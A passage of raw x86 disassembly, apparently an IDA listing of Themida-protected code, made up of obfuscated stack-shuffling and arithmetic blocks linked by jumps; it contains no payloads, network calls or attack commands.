		mov	edx, esp
		push	4C7Fh
		mov	[esp], ebx
		push	5A617ADBh
		mov	ebx, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		xor	ebx, 5A617ADFh
		add	edx, ebx
		jmp	loc_5A9994
; ---------------------------------------------------------------------------


loc_59937B:				; CODE XREF: Themida_:005A160Fj
		mov	esp, [esp]
		push	ebp
		mov	ebp, 88E538Fh
		xor	ebx, ebp
		jmp	loc_5A0B67
; ---------------------------------------------------------------------------


loc_59938B:				; CODE XREF: Themida_:005AF799j
		xor	edx, [esp]
		xor	[esp], edx
		xor	edx, [esp]
		jmp	loc_5AD050
; ---------------------------------------------------------------------------


loc_599399:				; CODE XREF: Themida_:0059913Bj
		add	esp, 4
		jmp	loc_5A0256
; ---------------------------------------------------------------------------


loc_5993A1:				; CODE XREF: Themida_:005A14B2j
		mov	cl, 0EFh
		jmp	loc_5A70AD
; ---------------------------------------------------------------------------


loc_5993A8:				; CODE XREF: Themida_:005AA52Cj
		add	eax, 0FD32F44Bh
		mov	ecx, eax
		pop	eax
		push	esi
		jmp	loc_5A1550
; ---------------------------------------------------------------------------


loc_5993B6:				; CODE XREF: Themida_:loc_5A4B77j
		jmp	loc_59C584
; ---------------------------------------------------------------------------


loc_5993BB:				; CODE XREF: Themida_:005A595Dj
		add	edi, esi
		add	edi, 297A0622h
		pop	esi
		push	edi
		push	dword ptr [esp+4]
		pop	edi
		pop	dword ptr [esp]
		pop	esp
		mov	ax, [esp]
		push	eax
		push	ecx
		jmp	loc_59C6C8
; ---------------------------------------------------------------------------


loc_5993D9:				; CODE XREF: Themida_:0059DDA3j
		pop	esp
		add	esi, 3D24349Bh
		push	ecx
		mov	ecx, 3C21517Bh
		sub	esi, 7D8C6780h
		sub	esi, ecx
		add	esi, 7D8C6780h
		pop	ecx
		add	esi, eax
		jmp	loc_5A9F5A
; ---------------------------------------------------------------------------


loc_5993FC:				; CODE XREF: Themida_:005AA0B9j
		pop	bp
		add	dx, 25F8h
		add	dx, bx
		jmp	loc_5A2977
; ---------------------------------------------------------------------------


loc_59940B:				; CODE XREF: Themida_:005ABC43j
		pop	edx
		mov	esi, eax
		pop	eax
		push	esi
		add	dword ptr [esp], 7DEE63E9h
		jmp	loc_59973D
; ---------------------------------------------------------------------------


loc_59941C:				; CODE XREF: Themida_:0059CAB6j
		pop	ecx
		jmp	loc_59D95E
; ---------------------------------------------------------------------------


loc_599422:				; CODE XREF: Themida_:005A2ED1j
		add	edx, 0E04AF5ACh
		sub	esi, edx
		pop	edx
		add	ebx, esi
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		add	ebx, 4
		xchg	ebx, [esp]
		mov	esp, [esp]
		xor	bl, al
		movzx	eax, al
		pop	small word ptr [edi+eax*4]
		jmp	loc_5989A3
; ---------------------------------------------------------------------------


loc_59944E:				; CODE XREF: Themida_:0059E7ECj
		add	esi, 4
		jmp	loc_59DF3A
; ---------------------------------------------------------------------------


loc_599456:				; DATA XREF: Themida_:0059871Co
		lodsd
		xor	eax, ebx
		sub	esp, 4
		mov	[esp], ecx
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 215D47E3h
		sub	edi, 154A2BDDh
		jmp	loc_59E3E1
; ---------------------------------------------------------------------------


loc_59947B:				; DATA XREF: Themida_:00598730o
		mov	cx, [esp]
		jmp	loc_59F652
; ---------------------------------------------------------------------------


loc_599484:				; CODE XREF: Themida_:005AC140j
		push	ebp
		mov	ebp, 67431B4Bh
		sub	ebp, 67DB93Fh
		add	ebx, ebp
		mov	ebp, [esp]
		add	esp, 4
		add	ebx, esi
		push	esi
		mov	esi, 51D7524Bh
		and	esi, 34CC775Fh
		jmp	loc_5A79FE
; ---------------------------------------------------------------------------


loc_5994AE:				; CODE XREF: Themida_:005A8499j
					; DATA XREF: Themida_:00598834o
		mov	ecx, [esp]
		push	3816h
		jmp	loc_5A354D
; ---------------------------------------------------------------------------


loc_5994BB:				; CODE XREF: Themida_:005AE49Dj
		xor	edi, 5616CA1Bh
		or	esi, edi
		pop	edi
		jmp	loc_5A1850
; ---------------------------------------------------------------------------


loc_5994C9:				; CODE XREF: Themida_:0059F75Bj
		neg	eax
		sub	eax, 11F7667Ch
		jmp	loc_5AEEF1
; ---------------------------------------------------------------------------


loc_5994D5:				; CODE XREF: Themida_:005A123Ej
		pop	ax
		jmp	loc_59D96F
; ---------------------------------------------------------------------------


loc_5994DC:				; CODE XREF: Themida_:005AA268j
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_5A0426
; ---------------------------------------------------------------------------


loc_5994E7:				; CODE XREF: Themida_:005A8DD3j
		pop	ebx
		jmp	loc_59996F
; ---------------------------------------------------------------------------


loc_5994ED:				; CODE XREF: Themida_:005A07B6j
		mov	edi, 4
		sub	edx, 1CE4DBEh
		add	edx, edi
		push	ebx
		mov	ebx, 63F54A94h
		add	ebx, 1A1332E2h
		shl	ebx, 2
		sub	ebx, 30822CF2h
		sub	ebx, 0C5D17B28h
		add	edx, ebx
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_5A9C76
; ---------------------------------------------------------------------------


loc_599522:				; CODE XREF: Themida_:005ABDE8j
		sub	esp, 4
		jmp	loc_59CE87
; ---------------------------------------------------------------------------


loc_59952D:				; CODE XREF: Themida_:005A546Cj
		neg	eax
		xor	eax, 0B3648F49h
		add	edx, eax
		jmp	loc_59EF46
; ---------------------------------------------------------------------------


loc_59953B:				; CODE XREF: Themida_:0059F474j
		xchg	ebx, [esp]
		mov	esp, [esp]
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		push	3E3Ch
		mov	[esp], ebx
		jmp	loc_5AA8D0
; ---------------------------------------------------------------------------


loc_59955B:				; CODE XREF: Themida_:005A80E7j
		add	ebx, eax
		pop	eax
		jmp	loc_5A99C0
; ---------------------------------------------------------------------------


loc_599563:				; CODE XREF: Themida_:005A7EE6j
		jmp	loc_59CD4D
; ---------------------------------------------------------------------------


loc_599568:				; CODE XREF: Themida_:005A2674j
		add	ebp, eax
		pop	eax
		xchg	ebp, [esp]
		mov	esp, [esp]
		add	ebp, 4
		jmp	loc_5AFA09
; ---------------------------------------------------------------------------


loc_59957C:				; CODE XREF: Themida_:005ACC5Bj
		ja	loc_5AD852
		push	ecx
		push	ebp
		mov	ebp, 4BE772F3h
		mov	ecx, ebp
		pop	ebp
		and	edx, ecx


loc_59958E:				; CODE XREF: Themida_:005A4977j
		pop	edi
		add	edi, 4
		sub	esp, 4
		mov	[esp], ebx
		push	56F4h
		jmp	loc_59BAE0
; ---------------------------------------------------------------------------


loc_5995A8:				; CODE XREF: Themida_:005AFDE3j
		not	eax
		add	eax, 0FABAD2CDh
		jmp	loc_5AE726
; ---------------------------------------------------------------------------


loc_5995B4:				; CODE XREF: Themida_:0059FCAAj
					; Themida_:loc_5A30BBj
		pop	ebx
		push	ecx
		mov	ecx, 3DA0A5Eh
		add	ecx, 7C45DB7h
		and	edx, ecx
		jmp	loc_5A093A
; ---------------------------------------------------------------------------


loc_5995C8:				; CODE XREF: Themida_:0059FDD7j
		mov	ebx, 4B41792Eh
		jmp	loc_5A9C1D
; ---------------------------------------------------------------------------


loc_5995D2:				; CODE XREF: Themida_:005A3928j
		sub	bl, dl
		pop	dx
		add	bl, 47h
		add	bl, al
		sub	bl, 47h
		add	bl, 0C8h
		mov	eax, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		shr	bl, 5
		jnz	loc_5A811A
		or	bl, 95h
		jno	loc_5AB2CA
		jmp	loc_5A33E3
; ---------------------------------------------------------------------------


loc_59960E:				; CODE XREF: Themida_:005A0ACCj
		add	edi, edx
		pop	edx
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		pop	esp
		jmp	loc_5A886C
; ---------------------------------------------------------------------------


loc_599620:				; CODE XREF: Themida_:005AF091j
		dec	ah
		jmp	loc_5A691D
; ---------------------------------------------------------------------------


loc_599627:				; CODE XREF: Themida_:005A3BC3j
		dec	ebp
		xor	ebp, 526D4080h
		jmp	loc_5AA2EA
; ---------------------------------------------------------------------------


loc_599633:				; CODE XREF: Themida_:005A19D7j
		add	al, 25h
		jmp	loc_5A38E8
; ---------------------------------------------------------------------------


loc_59963A:				; CODE XREF: Themida_:0059FE14j
		sub	edx, 0FFFFFFFFh
		shl	edx, 2
		jmp	loc_5AD280
; ---------------------------------------------------------------------------


loc_599648:				; CODE XREF: Themida_:005AED7Ej
		add	edx, edi
		add	edx, 38364848h
		mov	edi, [esp]
		add	esp, 4
		add	edx, 2
		xor	edx, [esp]
		xor	[esp], edx
		jmp	loc_5A71AC
; ---------------------------------------------------------------------------


loc_59966A:				; CODE XREF: Themida_:005A93C6j
		not	ebx
		jmp	loc_5AB42F
; ---------------------------------------------------------------------------


loc_599671:				; CODE XREF: Themida_:005A29E8j
		push	edx
		push	13AD77CCh
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_5AE88D
; ---------------------------------------------------------------------------


loc_599682:				; CODE XREF: Themida_:005AC49Bj
		push	eax
		mov	eax, 0CB43C34h
		add	eax, 156E2AA7h
		jle	loc_5A49EA
		neg	eax
		shr	eax, 1
		jnz	loc_59B6F8
		add	eax, 0AF474029h
		inc	eax
		xor	al, 88h
		mov	bl, dl


loc_5996A7:				; CODE XREF: Themida_:005AA350j
		add	dword ptr [esp+4], 68EE430Ch
		mov	eax, [esp]
		push	2Eh
		mov	[esp], ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		pop	eax
		push	6B66h
		mov	[esp], edx
		jmp	loc_5AB8EC
; ---------------------------------------------------------------------------


loc_5996DA:				; CODE XREF: Themida_:005AF1DBj
		pop	ebx
		sub	ebx, 48B92AFEh
		jmp	loc_5A101F
; ---------------------------------------------------------------------------


loc_5996E6:				; CODE XREF: Themida_:005A67ACj
		add	eax, edi
		pop	edi
		sub	eax, 4
		xchg	eax, [esp]
		pop	esp
		mov	[esp], edx
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		jmp	loc_5A730C
; ---------------------------------------------------------------------------


loc_599707:				; CODE XREF: Themida_:0059DFA4j
		xchg	edx, [esp]
		mov	esp, [esp]
		mov	[esp], eax
		xor	[esp], eax
		xor	eax, [esp]
		xor	[esp], eax
		xchg	eax, edi
		not	edi
		xchg	eax, edi
		push	eax
		jmp	loc_5A62D9
; ---------------------------------------------------------------------------


loc_599723:				; CODE XREF: Themida_:005AB79Fj
		shr	edi, 6
		xor	edi, 261334F6h
		xor	edi, 3431720Dh
		xor	edi, 7AD6EBEBh
		jmp	loc_5A37B4
; ---------------------------------------------------------------------------


loc_59973D:				; CODE XREF: Themida_:00599417j
		pop	ebx
		sub	ebx, 7DEE63E9h
		pop	esi
		jmp	loc_59CD01
; ---------------------------------------------------------------------------


loc_59974A:				; CODE XREF: Themida_:005ACA6Cj
		xchg	ebp, [esp]
		pop	esp
		push	ebx
		add	dword ptr [esp], 41B025C7h
		pop	edx
		sub	edx, 41B025C7h
		pop	ebx
		push	esi
		mov	esi, 0FFFFFFFFh
		sub	edx, 7C3C4A60h
		sub	edx, esi
		jmp	loc_5AB651
; ---------------------------------------------------------------------------


loc_599771:				; CODE XREF: Themida_:0059DE9Fj
		pop	edx
		sub	ebx, 4
		push	75D9h
		jmp	loc_5AE949
; ---------------------------------------------------------------------------


loc_59977F:				; CODE XREF: Themida_:005A3548j
		mov	ebp, edi
		push	ebp
		jmp	loc_59E113
; ---------------------------------------------------------------------------


loc_599787:				; CODE XREF: Themida_:005A1F63j
		shr	cl, 5
		push	edx
		mov	dl, 4Bh
		jmp	loc_59ED50
; ---------------------------------------------------------------------------


loc_599792:				; CODE XREF: Themida_:005AC189j
		push	6A79h
		mov	[esp], esi
		mov	esi, 73C9346Ch
		add	esi, 0FFFFFFFFh
		jmp	loc_59C8FB
; ---------------------------------------------------------------------------


loc_5997A7:				; CODE XREF: Themida_:005AEE72j
		mov	al, cl
		pop	ecx
		sub	bl, 0BAh
		add	bl, 0C9h
		add	bl, 0F7h
		add	bl, al
		sub	bl, 0F7h
		sub	bl, 0C9h
		jmp	loc_5A1954
; ---------------------------------------------------------------------------


loc_5997C0:				; CODE XREF: Themida_:005A51B3j
					; Themida_:005A54EEj
		mov	[esp], ebx
		mov	ebx, 4
		add	ebp, ebx
		jmp	loc_5A04D3
; ---------------------------------------------------------------------------


loc_5997CF:				; CODE XREF: Themida_:005AEAC9j
		pop	ebx
		xchg	ebp, [esp]
		mov	esp, [esp]
		jmp	loc_5A69B9
; ---------------------------------------------------------------------------


loc_5997DB:				; CODE XREF: Themida_:005A0C8Aj
		push	ebp
		mov	ebp, 72647F03h
		add	ebp, 768028A4h
		jmp	loc_59A26D
; ---------------------------------------------------------------------------


loc_5997EC:				; CODE XREF: Themida_:0059E981j
		or	ebx, 6A595B08h
		add	ebx, 15A600DCh
		add	edi, ebx
		jmp	loc_5AA2D2
; ---------------------------------------------------------------------------


loc_5997FF:				; CODE XREF: Themida_:005998ADj
		mov	esp, [esp]
		push	edx
		push	ebx
		push	eax
		mov	ah, 0CFh
		sub	ah, 10h
		jo	loc_59B3D4
		xor	ah, 0EFh
		mov	bh, ah
		jmp	loc_5AF5A7
; ---------------------------------------------------------------------------


loc_59981A:				; CODE XREF: Themida_:0059DA6Dj
		mov	[esp], esi
		mov	esi, 77D808A7h
		mov	ebx, 8827F75Dh
		jmp	loc_59A265
; ---------------------------------------------------------------------------


loc_59982C:				; CODE XREF: Themida_:005A7855j
		shr	bl, 8
		push	eax
		jmp	loc_5ABF30
; ---------------------------------------------------------------------------


loc_599835:				; CODE XREF: Themida_:005A2DDDj
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		jmp	loc_59B307
; ---------------------------------------------------------------------------


loc_599849:				; CODE XREF: Themida_:0059E323j
		push	ecx
		push	edx
		push	6E9F389Dh
		pop	edx
		jmp	loc_5A27FD
; ---------------------------------------------------------------------------


loc_599856:				; CODE XREF: Themida_:005A83E3j
		xor	edi, 4CB74890h
		mov	ecx, edi
		jmp	loc_5A82E9
; ---------------------------------------------------------------------------


loc_599863:				; CODE XREF: Themida_:005AE44Aj
		add	ebx, 6AA05C9Ah
		jmp	loc_59BFD5
; ---------------------------------------------------------------------------


loc_59986E:				; CODE XREF: Themida_:loc_5A233Aj
		add	dl, 0D7h
		add	bl, dl
		pop	edx
		sub	bl, 94h
		sub	bl, 49h
		jmp	loc_59E25A
; ---------------------------------------------------------------------------


loc_59987F:				; CODE XREF: Themida_:005AE899j
		shl	edx, 6
		jmp	loc_5A00ED
; ---------------------------------------------------------------------------


loc_599887:				; CODE XREF: Themida_:005A0AE9j
		add	ebx, eax
		sub	ebx, 5FC70574h
		add	ebx, 42F96089h
		push	dword ptr [eax]
		jmp	loc_5989A3
; ---------------------------------------------------------------------------


loc_59989C:				; CODE XREF: Themida_:005A402Aj
		push	esi
		mov	esi, 4
		jmp	loc_5AE050
; ---------------------------------------------------------------------------


loc_5998A7:				; CODE XREF: Themida_:005AF6C3j
		xor	[esp], ecx
		xor	ecx, [esp]
		jmp	loc_5997FF
; ---------------------------------------------------------------------------


loc_5998B2:				; CODE XREF: Themida_:005A7CDBj
		push	ebp
		mov	ebp, esp
		push	edi
		mov	edi, 61D66C2h
		shr	edi, 8
		shr	edi, 6
		shr	edi, 8
		shl	edi, 7
		xor	edi, 0C04h
		jmp	loc_5AAA78
; ---------------------------------------------------------------------------


loc_5998D2:				; CODE XREF: Themida_:005A865Fj
		mov	eax, 61757757h
		neg	eax
		sub	eax, 9E8A88A5h
		sub	edx, 54911C55h
		add	edx, eax
		add	edx, 54911C55h
		push	dword ptr [esp]
		pop	eax
		push	eax
		jmp	loc_59EC27
; ---------------------------------------------------------------------------


loc_5998F6:				; CODE XREF: Themida_:005A4B72j
		shr	eax, 6
		shl	eax, 7
		add	eax, 0DC731707h
		and	ebx, eax
		pop	eax
		inc	ebx
		xor	ebx, 34EB182Dh
		shl	ebx, 4
		not	ebx
		jmp	loc_59D781
; ---------------------------------------------------------------------------


loc_599915:				; CODE XREF: Themida_:005AF20Aj
		sub	esi, 7DC51205h
		pop	eax
		xchg	esi, [esp]
		mov	esp, [esp]
		rol	byte ptr [esp],	cl
		pushf
		jmp	loc_5989A3
; ---------------------------------------------------------------------------


loc_59992B:				; CODE XREF: Themida_:005A688Aj
		or	esi, 5E947282h
		jmp	loc_5A0CB7
; ---------------------------------------------------------------------------


loc_599936:				; CODE XREF: Themida_:005A904Fj
		not	edx
		not	edx
		jmp	loc_5A86A3
; ---------------------------------------------------------------------------


loc_59993F:				; CODE XREF: Themida_:0059D953j
		jmp	loc_59F33A
; ---------------------------------------------------------------------------


loc_599944:				; CODE XREF: Themida_:005A8D17j
		add	ebx, edi
		pop	edi
		jmp	loc_5A1BF6
; ---------------------------------------------------------------------------


loc_59994C:				; CODE XREF: Themida_:005AE093j
		sub	eax, 39C513D1h
		mov	edx, [esp]
		add	esp, 4
		add	eax, ebx
		sub	eax, 30EF2EA4h
		mov	ebx, [esp]
		push	esi
		push	7775h
		jmp	loc_5A256D
; ---------------------------------------------------------------------------


loc_59996F:				; CODE XREF: Themida_:005994E8j
					; Themida_:005A0D15j
		pop	dword ptr [esp]
		mov	esp, [esp]
		dec	esi
		push	eax
		jmp	loc_5AE011
; ---------------------------------------------------------------------------


loc_59997C:				; CODE XREF: Themida_:005A551Fj
		mov	eax, 3E6E4D7Ah
		add	ebx, eax
		pop	eax
		mov	esi, [esp]
		push	ebx
		mov	ebx, esp
		push	esi
		mov	esi, 51C679DCh
		or	esi, 34E649FAh
		shr	esi, 1
		xor	esi, 3AF33CFBh
		jmp	loc_5A8819
; ---------------------------------------------------------------------------


loc_5999A3:				; CODE XREF: Themida_:0059A437j
					; Themida_:005ADC87j
		mov	ebp, 5A3C47B2h
		inc	ebp
		jmp	loc_5989CB
; ---------------------------------------------------------------------------


loc_5999AE:				; CODE XREF: Themida_:005A16DFj
		mov	[esp], edx
		jmp	loc_59E1A9
; ---------------------------------------------------------------------------


loc_5999B6:				; CODE XREF: Themida_:005AD1BAj
		add	esi, ebp
		pop	ebp
		push	ecx
		jmp	loc_598F8D
; ---------------------------------------------------------------------------


loc_5999BF:				; CODE XREF: Themida_:0059BFD0j
					; Themida_:005A777Fj
		pop	esi
		push	eax
		push	ecx
		push	edi
		mov	edi, 38A76FB4h
		mov	ecx, 29EC0565h
		add	ecx, edi
		pop	edi
		jmp	loc_59E01E
; ---------------------------------------------------------------------------


loc_5999D5:				; CODE XREF: Themida_:0059A429j
		add	ecx, 3D83D8B9h
		mov	ebx, ecx
		jmp	loc_59AA9B
; ---------------------------------------------------------------------------


loc_5999E2:				; CODE XREF: Themida_:loc_5A5EF1j
		add	esi, 0FFECFCB9h
		add	edi, 3D6F09B4h
		sub	edi, 682C4EAFh
		add	edi, esi
		add	edi, 682C4EAFh
		push	ecx
		mov	ecx, esp
		push	edi
		jmp	loc_5A5DA9
; ---------------------------------------------------------------------------


loc_599A05:				; CODE XREF: Themida_:005A6D82j
		push	6DB3h
		mov	[esp], ebp
		jmp	loc_5AE507
; ---------------------------------------------------------------------------


loc_599A12:				; CODE XREF: Themida_:005AA69Ej
		pop	edi
		mov	esi, [esp]
		push	3393h
		mov	[esp], ecx
		push	1003h
		mov	[esp], esp
		add	dword ptr [esp], 4
		push	dword ptr [esp]
		pop	ecx
		jmp	loc_59F7C5
; ---------------------------------------------------------------------------


loc_599A36:				; CODE XREF: Themida_:005A4EBEj
		xchg	edi, [esp]
		pop	esp
		and	ecx, eax
		mov	eax, [esp]
		push	eax
		push	esp
		jmp	loc_5A247D
; ---------------------------------------------------------------------------


loc_599A46:				; CODE XREF: Themida_:005A9944j
					; Themida_:005AA1D2j
		mov	esp, [esp]
		jmp	loc_59BCAD
; ---------------------------------------------------------------------------


loc_599A4E:				; CODE XREF: Themida_:0059C23Fj
		xor	eax, ecx
		jmp	loc_5A41A7
; ---------------------------------------------------------------------------


loc_599A55:				; CODE XREF: Themida_:005A39EFj
		pop	ebp
		jmp	loc_59A8DE
; ---------------------------------------------------------------------------


loc_599A5B:				; CODE XREF: Themida_:005A1416j
		push	3D45h
		mov	[esp], ecx
		push	eax
		jmp	loc_5A2490
; ---------------------------------------------------------------------------


loc_599A69:				; CODE XREF: Themida_:005A2CEFj
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_5A1E6B
; ---------------------------------------------------------------------------


loc_599A76:				; CODE XREF: Themida_:005A2F7Aj
		mov	[esp], edx
		mov	edx, 6CC75BECh
		mov	eax, 57514418h
		add	eax, edx
		jmp	loc_5AE8F3
; ---------------------------------------------------------------------------


loc_599A8A:				; CODE XREF: Themida_:005AC170j
		mov	[esp], ebp
		push	0A9Eh
		mov	[esp], ebx
		mov	ebx, 0FFFFFFFFh
		jmp	loc_59EFFC
; ---------------------------------------------------------------------------


loc_599A9F:				; CODE XREF: Themida_:005AB0F1j
		add	edi, 4
		jmp	loc_5AEFBE
; ---------------------------------------------------------------------------


loc_599AAA:				; CODE XREF: Themida_:005A4D29j
		add	edx, 20E55BADh
		xor	edx, 6D8D2129h
		add	edx, 7AA63BB5h
		add	edx, 0F85D7B11h
		jmp	loc_5AA6DB
; ---------------------------------------------------------------------------


loc_599AC7:				; CODE XREF: Themida_:005A75CAj
		add	ebp, 2601137h
		pop	ebx
		push	edx
		mov	edx, 0AC5ECFCDh
		add	ebp, 4204110Bh
		add	ebp, edx
		sub	ebp, 4204110Bh
		mov	edx, [esp]
		jmp	loc_59DF55
; ---------------------------------------------------------------------------


loc_599AEA:				; CODE XREF: Themida_:005AB864j
		pop	esp
		cmp	cl, al
		pushf
		jmp	loc_5989A3
; ---------------------------------------------------------------------------


loc_599AF3:				; CODE XREF: Themida_:005ACC2Dj
		add	esp, 4
		push	ecx
		mov	ecx, 3AD129ABh
		and	ecx, 49F3DC8h
		jns	loc_5AC2C2
		and	ecx, 17FD4A97h
		dec	ecx
		mov	ecx, edi
		mov	edx, ebp


loc_599B16:				; CODE XREF: Themida_:005AB3CAj
		pop	eax
		sub	edx, 39F17F73h
		pop	esi
		xchg	edx, [esp]
		jmp	loc_59B406
; ---------------------------------------------------------------------------


loc_599B26:				; CODE XREF: Themida_:0059FA45j
		sub	esi, 0B10412Bh
		push	ebx
		push	edx
		mov	edx, 3B171B66h
		add	edx, 270B060Ch
		mov	ebx, edx
		jmp	loc_5A9486
; ---------------------------------------------------------------------------


loc_599B40:				; CODE XREF: Themida_:005ACB7Bj
		push	eax
		mov	eax, 1C4472A4h
		sub	ebx, eax
		pop	eax
		sub	ebx, 0CF32231Ch
		mov	edi, ebx
		pop	ebx
		sub	edi, 17256369h
		neg	edi
		or	edi, 5CD430E7h
		jmp	loc_5ACB39
; ---------------------------------------------------------------------------


loc_599B65:				; CODE XREF: Themida_:005ADDACj
		mov	edx, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		jmp	loc_5ABC7E
; ---------------------------------------------------------------------------


loc_599B76:				; CODE XREF: Themida_:005A0E98j
		mov	[esp], ecx
		push	ebp
		mov	ebp, 4EF552A3h
		jmp	loc_59CDD9
; ---------------------------------------------------------------------------


loc_599B84:				; CODE XREF: Themida_:005A15ACj
		push	5070h
		mov	[esp], edx
		mov	edx, esp
		push	78DDh
		mov	[esp], ebp
		mov	ebp, 4
		add	edx, ebp
		pop	ebp
		jmp	loc_5A4C27
; ---------------------------------------------------------------------------


loc_599BA3:				; CODE XREF: Themida_:005A46C7j
		neg	esi
		sub	esi, 0A86B85F9h
		sub	eax, esi
		pop	esi
		jmp	loc_5AEEE5
; ---------------------------------------------------------------------------


loc_599BB3:				; CODE XREF: Themida_:005A627Fj
		xchg	edi, [esp]
		pop	esp
		xor	eax, 324872BFh
		push	41B8h
		mov	[esp], edi
		push	ebx
		mov	ebx, esp
		push	ecx
		mov	ecx, 59E5086h
		inc	ecx
		add	ecx, 0FA61AF7Dh
		jmp	loc_5A4E90
; ---------------------------------------------------------------------------


loc_599BD9:				; CODE XREF: Themida_:005AC9D1j
		push	edx
		push	62871C60h
		pop	edx
		jmp	loc_5A0996
; ---------------------------------------------------------------------------


loc_599BE5:				; CODE XREF: Themida_:005AE75Fj
		mov	bl, cl
		pop	ecx
		push	dword ptr [esp]
		pop	edx
		jmp	loc_5A0344
; ---------------------------------------------------------------------------


loc_599BF1:				; DATA XREF: Themida_:00598718o
		mov	ax, [esp]
		sub	esp, 4
		mov	[esp], edx
		push	3BDDh
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	edx
		push	ebp
		mov	ebp, 4
		jmp	loc_5ACEA4
; ---------------------------------------------------------------------------


loc_599C13:				; CODE XREF: Themida_:005A9327j
		sub	ebx, 36F11016h
		add	[esp+4], ebx
		pop	ebx
		mov	ebp, [esp]
		add	esp, 4
		add	ebp, 4
		push	esi
		mov	esi, 2
		jmp	loc_5A3C3F
; ---------------------------------------------------------------------------


loc_599C38:				; CODE XREF: Themida_:005ADF9Ej
		pop	esi
		add	esp, 4
		mov	edi, [esp]
		jmp	loc_59C955
; ---------------------------------------------------------------------------


loc_599C44:				; CODE XREF: Themida_:005A57F5j
		mov	[esp], esp
		add	dword ptr [esp], 4
		mov	ecx, [esp]
		add	esp, 4
		push	ebx
		push	esi
		mov	esi, 4
		sub	esp, 4
		mov	[esp], esi
		mov	ebx, [esp]
		add	esp, 4
		pop	esi
		add	ecx, 56CF7C47h
		add	ecx, 7BB20676h
		add	ecx, ebx
		sub	ecx, 7BB20676h
		jmp	loc_59D879
; ---------------------------------------------------------------------------


loc_599C84:				; CODE XREF: Themida_:005A3E62j
		pop	esp
		mov	[esp], cx
		movzx	cx, al
		jmp	loc_5A1DB8
; ---------------------------------------------------------------------------


loc_599C92:				; CODE XREF: Themida_:005A02E8j
		pop	dword ptr [esp]
		mov	esp, [esp]
		shr	byte ptr [esp],	cl
		pushf
		jmp	loc_5989A3
; ---------------------------------------------------------------------------


loc_599CA1:				; CODE XREF: Themida_:0059EB83j
		sub	ebx, 105034D0h
		jmp	loc_59E894
; ---------------------------------------------------------------------------


loc_599CAC:				; CODE XREF: Themida_:0059B9F2j
		xor	edx, [esp]
		xor	[esp], edx
		xor	edx, [esp]
		mov	esp, [esp]
		mov	[esp], ebx
		mov	ebx, esp
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 394A7EB2h
		add	eax, 0E74BA138h
		push	eax
		add	dword ptr [esp], 0FFFFFFFFh
		jmp	loc_59F86F
; ---------------------------------------------------------------------------


loc_599CDA:				; CODE XREF: Themida_:00598ED5j
		mov	esp, [esp]
		mov	[esp], eax
		push	esp
		pop	eax
		push	596Ah
		mov	[esp], edx
		jmp	loc_5A6419
; ---------------------------------------------------------------------------


loc_599CEF:				; CODE XREF: Themida_:005A6197j
		xor	ecx, eax
		pop	eax
		add	edi, ecx
		pop	ecx
		add	edi, 4
		xor	edi, [esp]
		jmp	loc_5A52C4
; ---------------------------------------------------------------------------


loc_599D00:				; CODE XREF: Themida_:005A3CB2j
		inc	edi
		push	ebx
		mov	ebx, 25A02D37h
		and	edi, ebx
		pop	ebx
		add	edi, 5E4B01C4h
		sub	edx, edi
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_5AD8C8
; ---------------------------------------------------------------------------


loc_599D1D:				; CODE XREF: Themida_:005A28FDj
		shr	bh, 8
		push	edx
		mov	dh, 6Dh
		xor	bh, dh
		mov	edx, [esp]
		add	esp, 4
		xor	dh, bh
		pop	ebx
		not	dh
		jmp	loc_5AD9DC
; ---------------------------------------------------------------------------


loc_599D35:				; CODE XREF: Themida_:005A2B32j
		push	edi
		push	30F209ECh
		jmp	loc_5A9FBA
; ---------------------------------------------------------------------------


loc_599D40:				; CODE XREF: Themida_:loc_5AD509j
		sub	edx, 80627CB6h
		jmp	loc_5A5141
; ---------------------------------------------------------------------------


loc_599D4B:				; CODE XREF: Themida_:0059D26Bj
		mov	esi, esp
		add	esi, 4
		add	esi, 2
		xchg	esi, [esp]
		mov	esp, [esp]
		jmp	loc_5A1CAA
; ---------------------------------------------------------------------------


loc_599D64:				; CODE XREF: Themida_:0059FFF3j
		sub	edx, 0B9B10C40h
		not	edx
		jmp	loc_59D512
; ---------------------------------------------------------------------------


loc_599D71:				; CODE XREF: Themida_:005AEFE4j
		mov	[esp], ebp
		jmp	loc_59BB1A
; ---------------------------------------------------------------------------


loc_599D79:				; CODE XREF: Themida_:005AE530j
		sub	edx, 1
		push	46E4h
		mov	[esp], ebx
		push	528C635Fh
		pop	ebx
		xor	ebx, 388D0246h
		sub	edx, ebx
		mov	ebx, [esp]
		push	ecx
		jmp	loc_5A8EA8
; ---------------------------------------------------------------------------


loc_599D9B:				; CODE XREF: Themida_:0059BD3Cj
		add	byte ptr [esp],	28h
		sub	[esp], ch
		sub	byte ptr [esp],	28h
		mov	ch, [esp]
		add	esp, 4
		xor	ch, 0E2h
		push	ecx
		dec	byte ptr [esp+1]
		not	byte ptr [esp+1]
		mov	ecx, [esp]
		add	esp, 4
		not	ch
		xor	ch, 0DDh
		jmp	loc_59A630
; ---------------------------------------------------------------------------


loc_599DC8:				; CODE XREF: Themida_:005A2AF7j
		mov	edi, esp
		add	edi, 4
		push	ebp
		mov	ebp, 4
		push	edx
		mov	edx, 378805E5h
		jmp	loc_5AA20F
; ---------------------------------------------------------------------------


loc_599DE1:				; CODE XREF: Themida_:loc_5A6400j
		shr	edx, 3
		jz	loc_59BAE8
		jmp	loc_5A1FD2
; ---------------------------------------------------------------------------


